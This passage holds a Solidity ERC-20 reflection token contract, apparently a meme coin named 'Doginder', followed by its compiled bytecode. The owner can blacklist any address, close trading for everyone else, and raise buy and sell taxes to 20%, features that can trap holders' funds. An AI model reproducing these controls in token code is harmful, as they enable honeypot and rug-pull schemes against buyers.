mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xa4854b75a7e43b2Ed55CA10AF4631435cfd4AbcB);
address payable private _marketingAddress = payable(0xa4854b75a7e43b2Ed55CA10AF4631435cfd4AbcB);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000 * 10**9;
uint256 public _maxWalletSize = 20000 * 10**9;
uint256 public _swapTokensAtAmount = 20 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 1000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612eba565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612f8b565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fe3565b61087b565b604051610264919061303e565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f91906130b8565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba91906130e2565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e591906130fd565b6108ce565b6040516102f7919061303e565b60405180910390f35b34801561030c57600080fd5b506103156109a7565b60405161032291906130e2565b60405180910390f35b34801561033757600080fd5b506103406109ad565b60405161034d919061316c565b60405180910390f35b34801561036257600080fd5b5061036b6109b6565b6040516103789190613196565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a391906131b1565b6109dc565b005b3480156103b657600080fd5b506103d160048036038101906103cc919061320a565b610acc565b005b3480156103df57600080fd5b506103e8610b7e565b005b3480156103f657600080fd5b50610411600480360381019061040c91906131b1565b610c4f565b60405161041e91906130e2565b60405180910390f35b34801561043357600080fd5b5061043c610ca0565b005b34801561044a57600080fd5b5061046560048036038101906104609190613237565b610df3565b005b34801561047357600080fd5b5061047c610ea0565b60405161048991906130e2565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b491906131b1565b610ea6565b6040516104c691906130e2565b60405180910390f35b3480156104db57600080fd5b506104e4610ebe565b6040516104f19190613196565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c919061320a565b610ee7565b005b34801561052f57600080fd5b50610538610f99565b60405161054591906130e2565b60405180910390f35b34801561055a57600080fd5b50610563610f9f565b6040516105709190612f8b565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b9190613237565b610fdc565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613264565b61107b565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612fe3565b611276565b6040516105ff919061303e565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a91906131b1565b611294565b60405161063c919061303e565b60405180910390f35b34801561065157600080fd5b5061065a6112b4565b005b34801561066857600080fd5b50610683600480360381019061067e9190613326565b61138d565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613386565b6114c7565b6040516106b991906130e2565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e49190613237565b61154e565b005b3480156106f757600080fd5b50610712600480360381019061070d91906131b1565b6115ed565b005b61071c6117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a090613412565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd613432565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613490565b9150506107ac565b5050565b60606040518060400160405280600881526020017f446f67696e646572000000000000000000000000000000000000000000000000815250905090565b600061088f6108886117af565b84846117b7565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600066071afd498d0000905090565b60006108db848484611982565b61099c846108e76117af565b6109978560405180606001604052806028815260200161411960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094d6117af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122079092919063ffffffff16565b6117b7565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e46117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6890613412565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad46117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5890613412565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bbf6117af565b73ffffffffffffffffffffffffffffffffffffffff161480610c355750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1d6117af565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3e57600080fd5b6000479050610c4c8161226b565b50565b6000610c99600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d7565b9050919050565b610ca86117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2c90613412565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfb6117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7f90613412565b60405180910390fd5b64e8d4a51000811115610e9d57806016819055505b50565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eef6117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7390613412565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600881526020017f444f47494e444552000000000000000000000000000000000000000000000000815250905090565b610fe46117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611071576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106890613412565b60405180910390fd5b8060188190555050565b6110836117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611110576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110790613412565b60405180910390fd5b60008410158015611122575060048411155b611161576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111589061354b565b60405180910390fd5b60008210158015611173575060148211155b6111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a9906135dd565b60405180910390fd5b600083101580156111c4575060048311155b611203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fa9061366f565b60405180910390fd5b60008110158015611215575060148111155b611254576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124b90613701565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061128a6112836117af565b8484611982565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112f56117af565b73ffffffffffffffffffffffffffffffffffffffff16148061136b5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113536117af565b73ffffffffffffffffffffffffffffffffffffffff16145b61137457600080fd5b600061137f30610c4f565b905061138a81612345565b50565b6113956117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611422576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141990613412565b60405180910390fd5b60005b838390508110156114c157816005600086868581811061144857611447613432565b5b905060200201602081019061145d91906131b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806114b990613490565b915050611425565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6115566117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115da90613412565b60405180910390fd5b8060178190555050565b6115f56117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611682576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167990613412565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e990613793565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181e90613825565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611897576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188e906138b7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161197591906130e2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e990613949565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a59906139db565b60405180910390fd5b60008111611aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9c90613a6d565b60405180910390fd5b611aad610ebe565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b1b5750611aeb610ebe565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f0657601560149054906101000a900460ff16611baa57611b3c610ebe565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba090613aff565b60405180910390fd5b5b601654811115611bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be690613b6b565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c935750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc990613bfd565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d7f5760175481611d3484610c4f565b611d3e9190613c1d565b10611d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7590613ce5565b60405180910390fd5b5b6000611d8a30610c4f565b9050600060185482101590506016548210611da55760165491505b808015611dbd575060158054906101000a900460ff16155b8015611e175750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e2f5750601560169054906101000a900460ff165b8015611e855750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611edb5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f0357611ee982612345565b60004790506000811115611f0157611f004761226b565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fad5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806120605750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561205f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561206e57600090506121f5565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121195750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561213157600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121dc5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121f457600a54600c81905550600b54600d819055505b5b612201848484846125cb565b50505050565b600083831115829061224f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122469190612f8b565b60405180910390fd5b506000838561225e9190613d05565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b5050565b600060065482111561231e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231590613dab565b60405180910390fd5b60006123286125f8565b905061233d818461262390919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561237c5761237b612d19565b5b6040519080825280602002602001820160405280156123aa5781602001602082028036833780820191505090505b50905030816000815181106123c2576123c1613432565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561246457600080fd5b505afa158015612478573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061249c9190613de0565b816001815181106124b0576124af613432565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061251730601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117b7565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161257b959493929190613f06565b600060405180830381600087803b15801561259557600080fd5b505af11580156125a9573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806125d9576125d861266d565b5b6125e48484846126b0565b806125f2576125f161287b565b5b50505050565b600080600061260561288f565b9150915061261c818361262390919063ffffffff16565b9250505090565b600061266583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506128eb565b905092915050565b6000600c5414801561268157506000600d54145b1561268b576126ae565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806126c28761294e565b95509550955095509550955061272086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129b690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127b585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061280181612a5e565b61280b8483612b1b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161286891906130e2565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008060006006549050600066071afd498d000090506128c166071afd498d000060065461262390919063ffffffff16565b8210156128de5760065466071afd498d00009350935050506128e7565b81819350935050505b9091565b60008083118290612932576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129299190612f8b565b60405180910390fd5b50600083856129419190613f8f565b9050809150509392505050565b600080600080600080600080600061296b8a600c54600d54612b55565b925092509250600061297b6125f8565b9050600080600061298e8e878787612beb565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129f883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612207565b905092915050565b6000808284612a0f9190613c1d565b905083811015612a54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a4b9061400c565b60405180910390fd5b8091505092915050565b6000612a686125f8565b90506000612a7f8284612c7490919063ffffffff16565b9050612ad381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b30826006546129b690919063ffffffff16565b600681905550612b4b81600754612a0090919063ffffffff16565b6007819055505050565b600080600080612b816064612b73888a612c7490919063ffffffff16565b61262390919063ffffffff16565b90506000612bab6064612b9d888b612c7490919063ffffffff16565b61262390919063ffffffff16565b90506000612bd482612bc6858c6129b690919063ffffffff16565b6129b690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c048589612c7490919063ffffffff16565b90506000612c1b8689612c7490919063ffffffff16565b90506000612c3287